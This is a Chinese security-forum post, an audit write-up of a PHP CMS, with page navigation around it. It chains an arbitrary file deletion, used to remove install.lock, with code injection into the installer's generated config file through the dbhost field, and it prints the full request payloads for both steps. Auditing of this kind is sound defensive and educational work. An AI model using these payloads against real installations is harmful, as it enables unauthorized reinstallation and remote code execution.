问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次审计的奇思妙想
渗透测试
# 前言 最近在社区看文章的时候,发现了这一篇https://forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。 # 漏...
前言 == 最近在社区看文章的时候,发现了这一篇https://forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。 漏洞分析 ==== 在我们对该CMS进行安装后,我们发现: [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-436e5c4605c40750bb903311f7bda2c382a3d644.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-436e5c4605c40750bb903311f7bda2c382a3d644.png) 安装后任然存在install目录,并且会生成一个install.lock文件来标记,使我们不能再次安装。 所以,我们只要找到一个任意文件删除漏洞就可以把这个文件删除掉,然后就能进行重装,所以在全局搜索`unlink`函数后,在前台的`/app/controller/kindeditor.class.php`的`delete`函数中发现了这段代码: [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4de106896221681d719c6eb8a670365bbf655823.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4de106896221681d719c6eb8a670365bbf655823.png) 所以我们看到只要构造这样的payload:`?ac=kindeditor_delete&pic=/app/data/install.lock`就能够把`install.lock`删除然后就存在了重装漏洞了。 - - - - - - - - - - - - - - - - - - 但是,一次审计,目的肯定是想要进行getshell,所以上述的漏洞当然不能满足我们的需求。但是我们都知道想要getshell,就只有传入一个能执行的马,但是该CMS对文件上传采用的是白名单,所以先暂时不对其进行考虑,这里,我们考虑到在`install`目录中,在对cms进行安装时,会存在一个写入生成默认配置的问题,所以,先打开`/install.index.php`,通读代码后发现大致利用代码如下: ```php $step = isset($_GET['step']) ? $_GET['step'] : 1; ...... switch ($step) { ...... case '4': if (intval($_GET['install'])) { $n = intval($_GET['n']); $arr = array(); $dbHost = trim($_POST['dbhost']); $dbPort = trim($_POST['dbport']); $dbName = trim($_POST['dbname']); $dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost . ':' . $dbPort; $dbUser = trim($_POST['dbuser']); $dbPwd = trim($_POST['dbpw']); $dbPrefix = empty($_POST['dbprefix']) ? 'tc_' : trim($_POST['dbprefix']); $uname = trim($_POST['manager_email']); $password = trim($_POST['manager_pwd']); $webpath = trim($_POST['webpath']); $randkey = uniqid(rand()); $db_pconnect = 0; $conn = @ mysql_connect($dbHost, $dbUser, $dbPwd); if (!$conn) { $arr['msg'] = "连接数据库失败!"; die(json_encode($arr)); } mysql_query("SET NAMES 'UTF8'"); $version = mysql_get_server_info($conn); if ($version < 4.1) { $arr['msg'] = '数据库版本太低!'; die(json_encode($arr)); } if (!mysql_select_db($dbName, $conn)) { //创建数据时同时设置编码 if (!mysql_query("CREATE DATABASE IF NOT EXISTS `" . $dbName . "` DEFAULT CHARACTER SET UTF8;", $conn)) { $arr['msg'] = '数据库 ' . $dbName . ' 不存在,也没权限创建新的数据库!'; die(json_encode($arr)); } if (empty($n)) { $arr['n'] = 1; $arr['msg'] = "成功创建数据库:{$dbName}<br>"; die(json_encode($arr)); } mysql_select_db($dbName, $conn); } //读取数据文件 $sqldata = file_get_contents('./' . $sqlFile); $password = md5($password); $website = 'http://'. SITE_URL; $sqldata = str_replace('{username}',$uname,$sqldata); $sqldata = str_replace('{password}',$password,$sqldata); $sqldata = str_replace('{time}',time(),$sqldata); $sqldata = str_replace('{website}',$website,$sqldata); $sqldata = str_replace('{webpath}',$webpath,$sqldata); $sqldata = str_replace('{dbPrefix}',$dbPrefix,$sqldata); $sqlFormat = sql_split($sqldata, $dbPrefix); //执行SQL语句 $counts = count($sqlFormat); for ($i = $n; $i < $counts; $i++) { $sql = trim($sqlFormat[$i]); if (strstr($sql, 'CREATE TABLE')) { preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches); mysql_query("DROP TABLE IF EXISTS `$matches[1]"); $ret = mysql_query($sql); if ($ret) { $message = '<li><span class="correct_span">√</span>创建数据表' . $matches[1] . ',完成</li> '; } else { $message = '<li><span class="correct_span error_span">√</span>创建数据表' . $matches[1] . ',失败</li>'; } $i++; $arr = array('n' => $i, 'msg' => $message); die(json_encode($arr)); } else { $ret = mysql_query($sql); $message = ''; $arr = array('n' => $i, 'msg' => $message); } } if ($i == 999999) exit; $message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.'; // $newmodelstr = "<?php \n"; $newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n "; $newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n "; $newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n "; $newmodelstr .= "define('DBNAME', '" . $dbName . "');\n "; $newmodelstr .= "define('DBCODE', 'utf8');\n "; $newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n "; $newmodelstr .= "define('MORESITE', false);\n "; $newmodelstr .= "define('USEMC', false);\n "; $newmodelstr .= "define('MCHOST', '127.0.0.1');\n "; $newmodelstr .= "define('MCPORT','11211');\n "; $newmodelstr .= "define('MCHOST2', '127.0.0.1');\n "; $newmodelstr .= "define('MCPORT2','11211');\n "; $newmodelstr .= "\n?>\n"; $targetFile = '../app/data/mysql.php'; @file_put_contents($targetFile, $newmodelstr); $arr = array('n' => 999999, 'msg' => $message); die(json_encode($arr)); } include_once ("./templates/s4.php"); exit; } ``` 因为代码过长,所以省略了没必要的代码,我们先从上述代码分析,发现我们要写入的内容中,我们能控制的变量只有`$dbHost`,`$dbUser`,`$dbPwd`,`$dbName`。而`$dbUser`,`$dbPwd`,`$dbName`却都是固定的,我们没法进行修改,所以我们更多的是考虑对`$dbHost`进行一些修改来搞,具体修改请继续往下看。 首先我们要让`step`等于`4`时,我们就能直接跳到`case 4`中执行,然后需要再给`install`参数以get方式赋值为`1`,然后后面的`dbname`这些就是数据库的用户名,这些都是正常的输入就好了,这里需要注意的地方只有两个点,第一个点是: ```php case '4': if (intval($_GET['install'])) { $n = intval($_GET['n']); ... if (empty($n)) { $arr['n'] = 1; $arr['msg'] = "成功创建数据库:{$dbName}<br>"; die(json_encode($arr)); } ... for ($i = $n; $i < $counts; $i++) { $sql = trim($sqlFormat[$i]); if (strstr($sql, 'CREATE TABLE')) { preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches); mysql_query("DROP TABLE IF EXISTS `$matches[1]"); $ret = mysql_query($sql); if ($ret) { $message = '<li><span class="correct_span">√</span>创建数据表' . $matches[1] . ',完成</li> '; } else { $message = '<li><span class="correct_span error_span">√</span>创建数据表' . $matches[1] . ',失败</li>'; } $i++; $arr = array('n' => $i, 'msg' => $message); die(json_encode($arr)); } else { $ret = mysql_query($sql); $message = ''; $arr = array('n' => $i, 'msg' => $message); } } ``` 这里,`$n`是对程序有影响的。首先`$n`不可以空,然后还有一个for循环需要用到它。这里我们可以直接让`$n`为一个很大的值,就可以跳出for循环就好了。 第二个点是 ```php $conn = @ mysql_connect($dbHost, $dbUser, $dbPwd); if (!$conn) { $arr['msg'] = "连接数据库失败!"; die(json_encode($arr)); } ``` 我们要连接数据库,所以我们要填写正确的内容。但是`$dbHost`, `$dbUser`, `$dbPwd`中后面两个是固定不能变的,所以我们考虑使用`URL的锚点定位`,所以我们这样构造:`dbhost=127.0.0.1:3306#');phpinfo();`就可以绕过去了。 所以最后的构造是: ```php GET:http://127.0.0.1:92/install/index.php?step=4&install=1&n=1111 POST:dbhost=127.0.0.1:3306#');phpinfo();('111&dbname=wodecms&dbuser=root&dbpw=root&manager_email=admin&manager_pwd=admin123&webpath=/ ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a7fdf7fdc476d9928d0b03b924b05401d782c089.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a7fdf7fdc476d9928d0b03b924b05401d782c089.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-fefe1fb117f287bcb547ac8bb92fd8a7e8a99d3e.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-fefe1fb117f287bcb547ac8bb92fd8a7e8a99d3e.png) 后记 == 这个cms挺有意思的,开发在一些奇怪的地方很注意安全,但是再默认配置这里还存在修改数据库来改默认文件来,写入getshell的方式,这里就不多说了。有兴趣的小伙伴们可以自行下载该cms来进行审计!!!
发表于 2021-08-15 22:12:01
阅读 ( 7531 )
分类:
代码审计
0 推荐
收藏
0 条评论
请先
登录
后评论
fthgb
学生
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!